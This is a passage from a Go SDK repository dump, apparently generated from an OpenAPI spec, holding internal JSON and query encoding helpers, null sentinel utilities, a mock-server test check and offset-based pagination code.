reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64: 90 | toVal.Field(i).SetUint(value.Uint()) 91 | case reflect.Float32, reflect.Float64: 92 | toVal.Field(i).SetFloat(value.Float()) 93 | default: 94 | toVal.Field(i).Set(value) 95 | } 96 | } 97 | } 98 | 99 | if fromJSONField, ok := fields[ptag.name]; ok { 100 | if toJSONField := toJSON.FieldByName(field.Name); toJSONField.IsValid() { 101 | toJSONField.Set(fromJSONField) 102 | } 103 | } 104 | } 105 | 106 | // Finally, copy over the .JSON.raw and .JSON.ExtraFields 107 | if toJSON.IsValid() { 108 | if raw := toJSON.FieldByName("raw"); raw.IsValid() { 109 | setUnexportedField(raw, fromJSON.Interface().(interface{ RawJSON() string }).RawJSON()) 110 | } 111 | 112 | if toExtraFields := toJSON.FieldByName("ExtraFields"); toExtraFields.IsValid() { 113 | if fromExtraFields := fromJSON.FieldByName("ExtraFields"); fromExtraFields.IsValid() { 114 | setUnexportedField(toExtraFields, fromExtraFields.Interface()) 115 | } 116 | } 117 | } 118 | 119 | return nil 120 | } 121 | -------------------------------------------------------------------------------- /internal/apijson/registry.go: -------------------------------------------------------------------------------- 1 | package apijson 2 | 3 | import ( 4 | "reflect" 5 | 6 | "github.com/tidwall/gjson" 7 | ) 8 | 9 | type UnionVariant struct { 10 | TypeFilter gjson.Type 11 | DiscriminatorValue any 12 | Type reflect.Type 13 | } 14 | 15 | var unionRegistry = map[reflect.Type]unionEntry{} 16 | var unionVariants = map[reflect.Type]any{} 17 | 18 | type unionEntry struct { 19 | discriminatorKey string 20 | variants []UnionVariant 21 | } 22 | 23 | func Discriminator[T any](value any) UnionVariant { 24 | var zero T 25 | return UnionVariant{ 26 | TypeFilter: gjson.JSON, 27 | DiscriminatorValue: value, 28 | Type: reflect.TypeOf(zero), 29 | } 30 | } 31 | 32 | func RegisterUnion[T any](discriminator string, variants ...UnionVariant) { 33 | typ := reflect.TypeOf((*T)(nil)).Elem() 34 | unionRegistry[typ] = unionEntry{ 35 | discriminatorKey: discriminator, 36 | variants: variants, 37 | } 38 | for _, variant := range variants { 39 | unionVariants[variant.Type] = typ 40 | } 41 | } 42 | 43 | // Useful to wrap a union type to force it to use [apijson.UnmarshalJSON] since you cannot define an 44 | // UnmarshalJSON function on the interface itself. 45 | type UnionUnmarshaler[T any] struct { 46 | Value T 47 | } 48 | 49 | func (c *UnionUnmarshaler[T]) UnmarshalJSON(buf []byte) error { 50 | return UnmarshalRoot(buf, &c.Value) 51 | } 52 | -------------------------------------------------------------------------------- /internal/apijson/subfield.go: -------------------------------------------------------------------------------- 1 | package apijson 2 | 3 | import ( 4 | "github.com/stridentmare/gcore-go/packages/respjson" 5 | "reflect" 6 | ) 7 | 8 | func getSubField(root reflect.Value, index []int, name string) reflect.Value { 9 | strct := root.FieldByIndex(index[:len(index)-1]) 10 | if !strct.IsValid() { 11 | panic("couldn't find encapsulating struct for field " + name) 12 | } 13 | meta := strct.FieldByName("JSON") 14 | if !meta.IsValid() { 15 | return reflect.Value{} 16 | } 17 | field := meta.FieldByName(name) 18 | if !field.IsValid() { 19 | return reflect.Value{} 20 | } 21 | return field 22 | } 23 | 24 | func setMetadataSubField(root reflect.Value, index []int, name string, meta Field) { 25 | target := getSubField(root, index, name) 26 | if !target.IsValid() { 27 | return 28 | } 29 | 30 | if target.Type() == reflect.TypeOf(meta) { 31 | target.Set(reflect.ValueOf(meta)) 32 | } else if respMeta := meta.toRespField(); target.Type() == reflect.TypeOf(respMeta) { 33 | target.Set(reflect.ValueOf(respMeta)) 34 | } 35 | } 36 | 37 | func setMetadataExtraFields(root reflect.Value, index []int, name string, metaExtras map[string]Field) { 38 | target := getSubField(root, index, name) 39 | if !target.IsValid() { 40 | return 41 | } 42 | 43 | if target.Type() == reflect.TypeOf(metaExtras) { 44 | target.Set(reflect.ValueOf(metaExtras)) 45 | return 46 | } 47 | 48 | newMap := make(map[string]respjson.Field, len(metaExtras)) 49 | if target.Type() == reflect.TypeOf(newMap) { 50 | for k, v := range metaExtras { 51 | newMap[k] = v.toRespField() 52 | } 53 | target.Set(reflect.ValueOf(newMap)) 54 | } 55 | } 56 | 57 | func (f Field) toRespField() respjson.Field { 58 | if f.IsMissing() { 59 | return respjson.Field{} 60 | } else if f.IsNull() { 61 | return respjson.NewField("null") 62 | } else if f.IsInvalid() { 63 | return respjson.NewInvalidField(f.raw) 64 | } else { 65 | return respjson.NewField(f.raw) 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /internal/apijson/tag.go: -------------------------------------------------------------------------------- 1 | package apijson 2 | 3 | import ( 4 | "reflect" 5 | "strings" 6 | ) 7 | 8 | const jsonStructTag = "json" 9 | const formatStructTag = "format" 10 | 11 | type parsedStructTag struct { 12 | name string 13 | required bool 14 | extras bool 15 | metadata bool 16 | inline bool 17 | } 18 | 19 | func parseJSONStructTag(field reflect.StructField) (tag parsedStructTag, ok bool) { 20 | raw, ok := field.Tag.Lookup(jsonStructTag) 21 | if !ok { 22 | return 23 | } 24 | parts := strings.Split(raw, ",") 25 | if len(parts) == 0 { 26 | return tag, false 27 | } 28 | tag.name = parts[0] 29 | for _, part := range parts[1:] { 30 | switch part { 31 | case "required": 32 | tag.required = true 33 | case "extras": 34 | tag.extras = true 35 | case "metadata": 36 | tag.metadata = true 37 | case "inline": 38 | tag.inline = true 39 | } 40 | } 41 | return 42 | } 43 | 44 | func parseFormatStructTag(field reflect.StructField) (format string, ok bool) { 45 | format, ok = field.Tag.Lookup(formatStructTag) 46 | return 47 | } 48 | -------------------------------------------------------------------------------- /internal/apiquery/query.go: -------------------------------------------------------------------------------- 1 | package apiquery 2 | 3 | import ( 4 | "net/url" 5 | "reflect" 6 | "time" 7 | ) 8 | 9 | func MarshalWithSettings(value any, settings QuerySettings) (url.Values, error) { 10 | e := encoder{time.RFC3339, true, settings} 11 | kv := url.Values{} 12 | val := reflect.ValueOf(value) 13 | if !val.IsValid() { 14 | return nil, nil 15 | } 16 | typ := val.Type() 17 | 18 | pairs, err := e.typeEncoder(typ)("", val) 19 | if err != nil { 20 | return nil, err 21 | } 22 | for _, pair := range pairs { 23 | kv.Add(pair.key, pair.value) 24 | } 25 | return kv, nil 26 | } 27 | 28 | func Marshal(value any) (url.Values, error) { 29 | return MarshalWithSettings(value, QuerySettings{}) 30 | } 31 | 32 | type Queryer interface { 33 | URLQuery() (url.Values, error) 34 | } 35 | 36 | type QuerySettings struct { 37 | NestedFormat NestedQueryFormat 38 | ArrayFormat ArrayQueryFormat 39 | } 40 | 41 | type NestedQueryFormat int 42 | 43 | const ( 44 | NestedQueryFormatBrackets NestedQueryFormat = iota 45 | NestedQueryFormatDots 46 | ) 47 | 48 | type ArrayQueryFormat int 49 | 50 | const ( 51 | ArrayQueryFormatComma ArrayQueryFormat = iota 52 | ArrayQueryFormatRepeat 53 | ArrayQueryFormatIndices 54 | ArrayQueryFormatBrackets 55 | ) 56 | -------------------------------------------------------------------------------- /internal/apiquery/richparam.go: -------------------------------------------------------------------------------- 1 | package apiquery 2 | 3 | import ( 4 | "github.com/stridentmare/gcore-go/packages/param" 5 | "reflect" 6 | ) 7 | 8 | func (e *encoder) newRichFieldTypeEncoder(t reflect.Type) encoderFunc { 9 | f, _ := t.FieldByName("Value") 10 | enc := e.typeEncoder(f.Type) 11 | return func(key string, value reflect.Value) ([]Pair, error) { 12 | if opt, ok := value.Interface().(param.Optional); ok && opt.Valid() { 13 | return enc(key, value.FieldByIndex(f.Index)) 14 | } else if ok && param.IsNull(opt) { 15 | return []Pair{{key, "null"}}, nil 16 | } 17 | return nil, nil 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /internal/apiquery/tag.go: -------------------------------------------------------------------------------- 1 | package apiquery 2 | 3 | import ( 4 | "reflect" 5 | "strings" 6 | ) 7 | 8 | const queryStructTag = "query" 9 | const formatStructTag = "format" 10 | 11 | type parsedStructTag struct { 12 | name string 13 | omitempty bool 14 | omitzero bool 15 | inline bool 16 | } 17 | 18 | func parseQueryStructTag(field reflect.StructField) (tag parsedStructTag, ok bool) { 19 | raw, ok := field.Tag.Lookup(queryStructTag) 20 | if !ok { 21 | return 22 | } 23 | parts := strings.Split(raw, ",") 24 | if len(parts) == 0 { 25 | return tag, false 26 | } 27 | tag.name = parts[0] 28 | for _, part := range parts[1:] { 29 | switch part { 30 | case "omitzero": 31 | tag.omitzero = true 32 | case "omitempty": 33 | tag.omitempty = true 34 | case "inline": 35 | tag.inline = true 36 | } 37 | } 38 | return 39 | } 40 | 41 | func parseFormatStructTag(field reflect.StructField) (format string, ok bool) { 42 | format, ok = field.Tag.Lookup(formatStructTag) 43 | return 44 | } 45 | -------------------------------------------------------------------------------- /internal/encoding/json/fold.go: -------------------------------------------------------------------------------- 1 | // Copyright 2013 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | package json 6 | 7 | import ( 8 | "unicode" 9 | "unicode/utf8" 10 | ) 11 | 12 | // foldName returns a folded string such that foldName(x) == foldName(y) 13 | // is identical to bytes.EqualFold(x, y). 14 | func foldName(in []byte) []byte { 15 | // This is inlinable to take advantage of "function outlining". 16 | var arr [32]byte // large enough for most JSON names 17 | return appendFoldedName(arr[:0], in) 18 | } 19 | 20 | func appendFoldedName(out, in []byte) []byte { 21 | for i := 0; i < len(in); { 22 | // Handle single-byte ASCII. 23 | if c := in[i]; c < utf8.RuneSelf { 24 | if 'a' <= c && c <= 'z' { 25 | c -= 'a' - 'A' 26 | } 27 | out = append(out, c) 28 | i++ 29 | continue 30 | } 31 | // Handle multi-byte Unicode. 32 | r, n := utf8.DecodeRune(in[i:]) 33 | out = utf8.AppendRune(out, foldRune(r)) 34 | i += n 35 | } 36 | return out 37 | } 38 | 39 | // foldRune is returns the smallest rune for all runes in the same fold set. 40 | func foldRune(r rune) rune { 41 | for { 42 | r2 := unicode.SimpleFold(r) 43 | if r2 <= r { 44 | return r2 45 | } 46 | r = r2 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /internal/encoding/json/sentinel/null.go: -------------------------------------------------------------------------------- 1 | package sentinel 2 | 3 | import ( 4 | "github.com/stridentmare/gcore-go/internal/encoding/json/shims" 5 | "reflect" 6 | "sync" 7 | ) 8 | 9 | var nullPtrsCache sync.Map // map[reflect.Type]*T 10 | 11 | func NullPtr[T any]() *T { 12 | t := shims.TypeFor[T]() 13 | ptr, loaded := nullPtrsCache.Load(t) // avoid premature allocation 14 | if !loaded { 15 | ptr, _ = nullPtrsCache.LoadOrStore(t, new(T)) 16 | } 17 | return (ptr.(*T)) 18 | } 19 | 20 | var nullSlicesCache sync.Map // map[reflect.Type][]T 21 | 22 | func NullSlice[T any]() []T { 23 | t := shims.TypeFor[T]() 24 | slice, loaded := nullSlicesCache.Load(t) // avoid premature allocation 25 | if !loaded { 26 | slice, _ = nullSlicesCache.LoadOrStore(t, []T{}) 27 | } 28 | return slice.([]T) 29 | } 30 | 31 | func IsNullPtr[T any](ptr *T) bool { 32 | nullptr, ok := nullPtrsCache.Load(shims.TypeFor[T]()) 33 | return ok && ptr == nullptr.(*T) 34 | } 35 | 36 | func IsNullSlice[T any](slice []T) bool { 37 | nullSlice, ok := nullSlicesCache.Load(shims.TypeFor[T]()) 38 | return ok && reflect.ValueOf(slice).Pointer() == reflect.ValueOf(nullSlice).Pointer() 39 | } 40 | 41 | // internal only 42 | func IsValueNullPtr(v reflect.Value) bool { 43 | if v.Kind() != reflect.Ptr { 44 | return false 45 | } 46 | nullptr, ok := nullPtrsCache.Load(v.Type().Elem()) 47 | return ok && v.Pointer() == reflect.ValueOf(nullptr).Pointer() 48 | } 49 | 50 | // internal only 51 | func IsValueNullSlice(v reflect.Value) bool { 52 | if v.Kind() != reflect.Slice { 53 | return false 54 | } 55 | nullSlice, ok := nullSlicesCache.Load(v.Type().Elem()) 56 | return ok && v.Pointer() == reflect.ValueOf(nullSlice).Pointer() 57 | } 58 | -------------------------------------------------------------------------------- /internal/encoding/json/sentinel/sentinel_test.go: -------------------------------------------------------------------------------- 1 | package sentinel_test 2 | 3 | import ( 4 | "github.com/stridentmare/gcore-go/internal/encoding/json/sentinel" 5 | "reflect" 6 | "slices" 7 | "testing" 8 | ) 9 | 10 | type Pair struct { 11 | got bool 12 | want bool 13 | } 14 | 15 | func TestNullSlice(t *testing.T) { 16 | var nilSlice []int = nil 17 | var nonNilSlice []int = []int{1, 2, 3} 18 | var nullSlice []int = sentinel.NullSlice[int]() 19 | 20 | cases := map[string]Pair{ 21 | "nilSlice": {sentinel.IsNullSlice(nilSlice), false}, 22 | "nullSlice": {sentinel.IsNullSlice(nullSlice), true}, 23 | "newNullSlice": {sentinel.IsNullSlice(sentinel.NullSlice[int]()), true}, 24 | "lenNullSlice": {len(nullSlice) == 0, true}, 25 | "nilSliceValue": {sentinel.IsValueNullSlice(reflect.ValueOf(nilSlice)), false}, 26 | "nullSliceValue": {sentinel.IsValueNullSlice(reflect.ValueOf(nullSlice)), true}, 27 | "compareSlices": {slices.Compare(nilSlice, nullSlice) == 0, true}, 28 | "compareNonNilSlices": {slices.Compare(nonNilSlice, nullSlice) == 0, false}, 29 | } 30 | 31 | nilSlice = append(nullSlice, 12) 32 | cases["append_result"] = Pair{sentinel.IsNullSlice(nilSlice), false} 33 | cases["mutated_result"] = Pair{sentinel.IsNullSlice(nullSlice), true} 34 | cases["append_result_len"] = Pair{len(nilSlice) == 1, true} 35 | cases["append_null_slice_len"] = Pair{len(nullSlice) == 0, true} 36 | 37 | for name, c := range cases { 38 | t.Run(name, func(t *testing.T) { 39 | got, want := c.got, c.want 40 | if got != want { 41 | t.Errorf("got %v, want %v", got, want) 42 | } 43 | }) 44 | } 45 | } 46 | 47 | func TestNullPtr(t *testing.T) { 48 | var s *string = nil 49 | var i *int = nil 50 | var slice *[]int = nil 51 | 52 | var nullptrStr *string = sentinel.NullPtr[string]() 53 | var nullptrInt *int = sentinel.NullPtr[int]() 54 | var nullptrSlice *[]int = sentinel.NullPtr[[]int]() 55 | 56 | if *nullptrStr != "" { 57 | t.Errorf("Failed to safely deref") 58 | } 59 | if *nullptrInt != 0 { 60 | t.Errorf("Failed to safely deref") 61 | } 62 | if len(*nullptrSlice) != 0 { 63 | t.Errorf("Failed to safely deref") 64 | } 65 | 66 | cases := map[string]Pair{ 67 | "nilStr": {sentinel.IsNullPtr(s), false}, 68 | "nullStr": {sentinel.IsNullPtr(nullptrStr), true}, 69 | 70 | "nilInt": {sentinel.IsNullPtr(i), false}, 71 | "nullInt": {sentinel.IsNullPtr(nullptrInt), true}, 72 | 73 | "nilSlice": {sentinel.IsNullPtr(slice), false}, 74 | "nullSlice": {sentinel.IsNullPtr(nullptrSlice), true}, 75 | 76 | "nilValuePtr": {sentinel.IsValueNullPtr(reflect.ValueOf(i)), false}, 77 | "nullValuePtr": {sentinel.IsValueNullPtr(reflect.ValueOf(nullptrInt)), true}, 78 | } 79 | 80 | for name, test := range cases { 81 | t.Run(name, func(t *testing.T) { 82 | got, want := test.got, test.want 83 | if got != want { 84 | t.Errorf("got %v, want %v", got, want) 85 | } 86 | }) 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /internal/encoding/json/shims/shims.go: -------------------------------------------------------------------------------- 1 | // This package provides shims over Go 1.2{2,3} APIs 2 | // which are missing from Go 1.21, and used by the Go 1.24 encoding/json package. 3 | // 4 | // Inside the vendored package, all shim code has comments that begin look like 5 | // // SHIM(...): ... 6 | package shims 7 | 8 | import ( 9 | "encoding/base64" 10 | "reflect" 11 | "slices" 12 | ) 13 | 14 | type OverflowableType struct{ reflect.Type } 15 | 16 | func (t OverflowableType) OverflowInt(x int64) bool { 17 | k := t.Kind() 18 | switch k { 19 | case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: 20 | bitSize := t.Size() * 8 21 | trunc := (x << (64 - bitSize)) >> (64 - bitSize) 22 | return x != trunc 23 | } 24 | panic("reflect: OverflowInt of non-int type " + t.String()) 25 | } 26 | 27 | func (t OverflowableType) OverflowUint(x uint64) bool { 28 | k := t.Kind() 29 | switch k { 30 | case reflect.Uint, reflect.Uintptr, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64: 31 | bitSize := t.Size() * 8 32 | trunc := (x << (64 - bitSize)) >> (64 - bitSize) 33 | return x != trunc 34 | } 35 | panic("reflect: OverflowUint of non-uint type " + t.String()) 36 | } 37 | 38 | // Original src code from Go 1.23 go/src/reflect/type.go (taken 1/9/25) 39 | /* 40 | 41 | func (t *rtype) OverflowInt(x int64) bool { 42 | k := t.Kind() 43 | switch k { 44 | case Int, Int8, Int16, Int32, Int64: 45 | bitSize := t.Size() * 8 46 | trunc := (x << (64 - bitSize)) >> (64 - bitSize) 47 | return x != trunc 48 | } 49 | panic("reflect: OverflowInt of non-int type " + t.String()) 50 | } 51 | 52 | func (t *rtype) OverflowUint(x uint64) bool { 53 | k := t.Kind() 54 | switch k { 55 | case Uint, Uintptr, Uint8, Uint16, Uint32, Uint64: 56 | bitSize := t.Size() * 8 57 | trunc := (x << (64 - bitSize)) >> (64 - bitSize) 58 | return x != trunc 59 | } 60 | panic("reflect: OverflowUint of non-uint type " + t.String()) 61 | } 62 | 63 | */ 64 | 65 | // TypeFor returns the [Type] that represents the type argument T. 66 | func TypeFor[T any]() reflect.Type { 67 | var v T 68 | if t := reflect.TypeOf(v); t != nil { 69 | return t // optimize for T being a non-interface kind 70 | } 71 | return reflect.TypeOf((*T)(nil)).Elem() // only for an interface kind 72 | } 73 | 74 | // Original src code from Go 1.23 go/src/reflect/type.go (taken 1/9/25) 75 | /* 76 | 77 | // TypeFor returns the [Type] that represents the type argument T. 78 | func TypeFor[T any]() Type { 79 | var v T 80 | if t := TypeOf(v); t != nil { 81 | return t // optimize for T being a non-interface kind 82 | } 83 | return TypeOf((*T)(nil)).Elem() // only for an interface kind 84 | } 85 | 86 | */ 87 | 88 | type AppendableStdEncoding struct{ *base64.Encoding } 89 | 90 | // AppendEncode appends the base64 encoded src to dst 91 | // and returns the extended buffer. 92 | func (enc AppendableStdEncoding) AppendEncode(dst, src []byte) []byte { 93 | n := enc.EncodedLen(len(src)) 94 | dst = slices.Grow(dst, n) 95 | enc.Encode(dst[len(dst):][:n], src) 96 | return dst[:len(dst)+n] 97 | } 98 | 99 | // Original src code from Go 1.23.4 go/src/encoding/base64/base64.go (taken 1/9/25) 100 | /* 101 | 102 | // AppendEncode appends the base64 encoded src to dst 103 | // and returns the extended buffer. 104 | func (enc *Encoding) AppendEncode(dst, src []byte) []byte { 105 | n := enc.EncodedLen(len(src)) 106 | dst = slices.Grow(dst, n) 107 | enc.Encode(dst[len(dst):][:n], src) 108 | return dst[:len(dst)+n] 109 | } 110 | 111 | */ 112 | -------------------------------------------------------------------------------- /internal/encoding/json/tags.go: -------------------------------------------------------------------------------- 1 | // Copyright 2011 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | package json 6 | 7 | import ( 8 | "strings" 9 | ) 10 | 11 | // tagOptions is the string following a comma in a struct field's "json" 12 | // tag, or the empty string. It does not include the leading comma. 13 | type tagOptions string 14 | 15 | // parseTag splits a struct field's json tag into its name and 16 | // comma-separated options. 17 | func parseTag(tag string) (string, tagOptions) { 18 | tag, opt, _ := strings.Cut(tag, ",") 19 | return tag, tagOptions(opt) 20 | } 21 | 22 | // Contains reports whether a comma-separated list of options 23 | // contains a particular substr flag. substr must be surrounded by a 24 | // string boundary or commas. 25 | func (o tagOptions) Contains(optionName string) bool { 26 | if len(o) == 0 { 27 | return false 28 | } 29 | s := string(o) 30 | for s != "" { 31 | var name string 32 | name, s, _ = strings.Cut(s, ",") 33 | if name == optionName { 34 | return true 35 | } 36 | } 37 | return false 38 | } 39 | -------------------------------------------------------------------------------- /internal/encoding/json/time.go: -------------------------------------------------------------------------------- 1 | // EDIT(begin): custom time marshaler 2 | package json 3 | 4 | import ( 5 | "github.com/stridentmare/gcore-go/internal/encoding/json/shims" 6 | "reflect" 7 | "time" 8 | ) 9 | 10 | type TimeMarshaler interface { 11 | MarshalJSONWithTimeLayout(string) []byte 12 | } 13 | 14 | func TimeLayout(fmt string) string { 15 | switch fmt { 16 | case "", "date-time": 17 | return time.RFC3339 18 | case "date": 19 | return time.DateOnly 20 | default: 21 | return fmt 22 | } 23 | } 24 | 25 | var timeType = shims.TypeFor[time.Time]() 26 | 27 | func newTimeEncoder() encoderFunc { 28 | return func(e *encodeState, v reflect.Value, opts encOpts) { 29 | t := v.Interface().(time.Time) 30 | fmtted := t.Format(TimeLayout(opts.timefmt)) 31 | stringEncoder(e, reflect.ValueOf(fmtted), opts) 32 | } 33 | } 34 | 35 | // Uses continuation passing style, to add the timefmt option to k 36 | func continueWithTimeFmt(timefmt string, k encoderFunc) encoderFunc { 37 | return func(e *encodeState, v reflect.Value, opts encOpts) { 38 | opts.timefmt = timefmt 39 | k(e, v, opts) 40 | } 41 | } 42 | 43 | func timeMarshalEncoder(e *encodeState, v reflect.Value, opts encOpts) bool { 44 | tm, ok := v.Interface().(TimeMarshaler) 45 | if !ok { 46 | return false 47 | } 48 | 49 | b := tm.MarshalJSONWithTimeLayout(opts.timefmt) 50 | if b != nil { 51 | e.Grow(len(b)) 52 | out := e.AvailableBuffer() 53 | out, _ = appendCompact(out, b, opts.escapeHTML) 54 | e.Buffer.Write(out) 55 | return true 56 | } 57 | 58 | return false 59 | } 60 | 61 | // EDIT(end) 62 | -------------------------------------------------------------------------------- /internal/paramutil/field.go: -------------------------------------------------------------------------------- 1 | package paramutil 2 | 3 | import ( 4 | "github.com/stridentmare/gcore-go/packages/param" 5 | "github.com/stridentmare/gcore-go/packages/respjson" 6 | ) 7 | 8 | func AddrIfPresent[T comparable](v param.Opt[T]) *T { 9 | if v.Valid() { 10 | return &v.Value 11 | } 12 | return nil 13 | } 14 | 15 | func ToOpt[T comparable](v T, meta respjson.Field) param.Opt[T] { 16 | if meta.Valid() { 17 | return param.NewOpt(v) 18 | } else if meta.Raw() == respjson.Null { 19 | return param.Null[T]() 20 | } 21 | return param.Opt[T]{} 22 | } 23 | 24 | // Checks if the value is not omitted and not null 25 | func Valid(v param.ParamStruct) bool { 26 | if ovr, ok := v.Overrides(); ok { 27 | return ovr != nil 28 | } 29 | return !param.IsNull(v) && !param.IsOmitted(v) 30 | } 31 | -------------------------------------------------------------------------------- /internal/paramutil/sentinel.go: -------------------------------------------------------------------------------- 1 | package paramutil 2 | 3 | import ( 4 | "github.com/stridentmare/gcore-go/internal/encoding/json/sentinel" 5 | ) 6 | 7 | // NullPtr returns a pointer to the zero value of the type T. 8 | // When used with [MarshalObject] or [MarshalUnion], it will be marshaled as null. 9 | // 10 | // It is unspecified behavior to mutate the value pointed to by the returned pointer. 11 | func NullPtr[T any]() *T { 12 | return sentinel.NullPtr[T]() 13 | } 14 | 15 | // IsNullPtr returns true if the pointer was created by [NullPtr]. 16 | func IsNullPtr[T any](ptr *T) bool { 17 | return sentinel.IsNullPtr(ptr) 18 | } 19 | 20 | // NullSlice returns a non-nil slice with a length of 0. 21 | // When used with [MarshalObject] or [MarshalUnion], it will be marshaled as null. 22 | // 23 | // It is undefined behavior to mutate the slice returned by [NullSlice]. 24 | func NullSlice[T any]() []T { 25 | return sentinel.NullSlice[T]() 26 | } 27 | 28 | // IsNullSlice returns true if the slice was created by [NullSlice]. 29 | func IsNullSlice[T any](slice []T) bool { 30 | return sentinel.IsNullSlice(slice) 31 | } 32 | -------------------------------------------------------------------------------- /internal/paramutil/union.go: -------------------------------------------------------------------------------- 1 | package paramutil 2 | 3 | import ( 4 | "fmt" 5 | "github.com/stridentmare/gcore-go/packages/param" 6 | "reflect" 7 | ) 8 | 9 | var paramUnionType = reflect.TypeOf(param.APIUnion{}) 10 | 11 | // VariantFromUnion can be used to extract the present variant from a param union type. 12 | // A param union type is a struct with an embedded field of [APIUnion]. 13 | func VariantFromUnion(u reflect.Value) (any, error) { 14 | if u.Kind() == reflect.Ptr { 15 | u = u.Elem() 16 | } 17 | 18 | if u.Kind() != reflect.Struct { 19 | return nil, fmt.Errorf("param: cannot extract variant from non-struct union") 20 | } 21 | 22 | isUnion := false 23 | nVariants := 0 24 | variantIdx := -1 25 | for i := 0; i < u.NumField(); i++ { 26 | if !u.Field(i).IsZero() { 27 | nVariants++ 28 | variantIdx = i 29 | } 30 | if u.Field(i).Type() == paramUnionType { 31 | isUnion = u.Type().Field(i).Anonymous 32 | } 33 | } 34 | 35 | if !isUnion { 36 | return nil, fmt.Errorf("param: cannot extract variant from non-union") 37 | } 38 | 39 | if nVariants > 1 { 40 | return nil, fmt.Errorf("param: cannot extract variant from union with multiple variants") 41 | } 42 | 43 | if nVariants == 0 { 44 | return nil, fmt.Errorf("param: cannot extract variant from union with no variants") 45 | } 46 | 47 | return u.Field(variantIdx).Interface(), nil 48 | } 49 | -------------------------------------------------------------------------------- /internal/testutil/testutil.go: -------------------------------------------------------------------------------- 1 | package testutil 2 | 3 | import ( 4 | "net/http" 5 | "os" 6 | "strconv" 7 | "testing" 8 | ) 9 | 10 | func CheckTestServer(t *testing.T, url string) bool { 11 | if _, err := http.Get(url); err != nil { 12 | const SKIP_MOCK_TESTS = "SKIP_MOCK_TESTS" 13 | if str, ok := os.LookupEnv(SKIP_MOCK_TESTS); ok { 14 | skip, err := strconv.ParseBool(str) 15 | if err != nil { 16 | t.Fatalf("strconv.ParseBool(os.LookupEnv(%s)) failed: %s", SKIP_MOCK_TESTS, err) 17 | } 18 | if skip { 19 | t.Skip("The test will not run without a mock Prism server running against your OpenAPI spec") 20 | return false 21 | } 22 | t.Errorf("The test will not run without a mock Prism server running against your OpenAPI spec. You can set the environment variable %s to true to skip running any tests that require the mock server", SKIP_MOCK_TESTS) 23 | return false 24 | } 25 | } 26 | return true 27 | } 28 | -------------------------------------------------------------------------------- /internal/version.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package internal 4 | 5 | const PackageVersion = "0.1.0" // x-release-please-version 6 | -------------------------------------------------------------------------------- /lib/.keep: -------------------------------------------------------------------------------- 1 | File generated from our OpenAPI spec by Stainless. 2 | 3 | This directory can be used to store custom files to expand the SDK. 4 | It is ignored by Stainless code generation and its content (other than this keep file) won't be touched. -------------------------------------------------------------------------------- /packages/pagination/pagination.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package pagination 4 | 5 | import ( 6 | "net/http" 7 | "strconv" 8 | 9 | "github.com/stridentmare/gcore-go/internal/apijson" 10 | "github.com/stridentmare/gcore-go/internal/requestconfig" 11 | "github.com/stridentmare/gcore-go/option" 12 | "github.com/stridentmare/gcore-go/packages/param" 13 | "github.com/stridentmare/gcore-go/packages/respjson" 14 | ) 15 | 16 | // aliased to make [param.APIUnion] private when embedding 17 | type paramUnion = param.APIUnion 18 | 19 | // aliased to make [param.APIObject] private when embedding 20 | type paramObj = param.APIObject 21 | 22 | type OffsetPage[T any] struct { 23 | Results []T `json:"results"` 24 | Count int64 `json:"count"` 25 | // JSON contains metadata for fields, check presence with [respjson.Field.Valid]. 26 | JSON struct { 27 | Results respjson.Field 28 | Count respjson.Field 29 | ExtraFields map[string]respjson.Field 30 | raw string 31 | } `json:"-"` 32 | cfg *requestconfig.RequestConfig 33 | res *http.Response 34 | } 35 | 36 | // Returns the unmodified JSON received from the API 37 | func (r OffsetPage[T]) RawJSON() string { return r.JSON.raw } 38 | func (r *OffsetPage[T]) UnmarshalJSON(data []byte) error { 39 | return apijson.UnmarshalRoot(data, r) 40 | } 41 | 42 | // GetNextPage returns the next page as defined by this pagination style. When 43 | // there is no next page, this function will return a 'nil' for the page value, but 44 | // will not return an error 45 | func (r *OffsetPage[T]) GetNextPage() (res *OffsetPage[T], err error) { 46 | cfg := r.cfg.Clone(r.cfg.Context) 47 | 48 | q := cfg.Request.URL.Query() 49 | offset, err := strconv.ParseInt(q.Get("offset"), 10, 64) 50 | if err != nil { 51 | offset = 0 52 | } 53 | length := int64(len(r.Results)) 54 | next := offset + length 55 | 56 | if next < r.Count && next != 0 { 57 | err = cfg.Apply(option.WithQuery("offset", strconv.FormatInt(next, 10))) 58 | if err != nil { 59 | return nil, err 60 | } 61 | } else { 62 | return nil, nil 63 | } 64 | var raw *http.Response 65 | cfg.ResponseInto = &raw 66 | cfg.ResponseBodyInto = &res 67 | err = cfg.Execute() 68 | if err != nil { 69 | return nil, err 70 | } 71 | res.SetPageConfig(cfg, raw) 72 | return res, nil 73 | } 74 | 75 | func (r *OffsetPage[T]) SetPageConfig(cfg *requestconfig.RequestConfig, res *http.Response) { 76 | if r == nil { 77 | r = &OffsetPage[T]{} 78 | } 79 | r.cfg = cfg 80 | r.res = res 81 | } 82 | 83 | type OffsetPageAutoPager[T any] struct { 84 | page *OffsetPage[T] 85 | cur T 86 | idx int 87 | run int 88 | err error 89 | paramObj 90 | } 91 | 92 | func NewOffsetPageAutoPager[T any](page *OffsetPage[T], err error) *OffsetPageAutoPager[T] { 93 | return &OffsetPageAutoPager[T]{ 94 | page: page, 95 | err: err, 96 | } 97 | } 98 | 99 | func (r *OffsetPageAutoPager[T]) Next() bool { 100 | if r.page == nil || len(r.page.Results) == 0 { 101 | return false 102 | } 103 | if r.idx >= len(r.page.Results) { 104 | r.idx = 0 105 | r.page, r.err = r.page.GetNextPage() 106 | if r.err != nil || r.page == nil || len(r.page.Results) == 0 { 107 | return false 108 | } 109 | } 110 | r.cur = r.page.Results[r.idx] 111 | r.run += 1 112 | r.idx += 1 113 | return true 114 | } 115 | 116 